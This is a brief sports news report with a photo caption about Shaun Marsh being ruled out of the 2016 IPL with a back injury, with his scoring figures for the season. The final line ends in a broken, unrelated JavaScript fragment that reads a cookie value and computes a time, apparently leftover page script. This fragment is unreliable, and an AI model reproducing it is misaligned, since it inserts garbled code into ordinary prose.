Kings XI Punjab batsman Shaun Marsh plays a shot during the 2016 Indian Premier League (IPL) Twenty20 cricket match between Delhi Daredevils and Kings XI Punjab at The Feroz Shah Kotla Cricket Stadium in New Delhi on April 15, 2016. ------IMAGE RESTRICTED TO EDITORIAL USE - STRICTLY NO COMMERCIAL USE- / AFP / SAJJAD HUSSAIN (Photo credit should read SAJJAD HUSSAIN/AFP/Getty Images)
Australian batsman Shaun Marsh has been ruled out of the remainder of the IPL due to a back injury.
Marsh joins brother Mitch (side strain) and Aussie captain Steve Smith (wrist) in pulling out of the tournament in recent days due to injury.
The 32-year-old picked up the injury during the Kings XI Punjab six-wicket loss to the Kolkata Knight Riders on April 19.
He has played through the injury ever since. Marsh has scored 159 runs at an average of 31.80 during this year's IPL. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}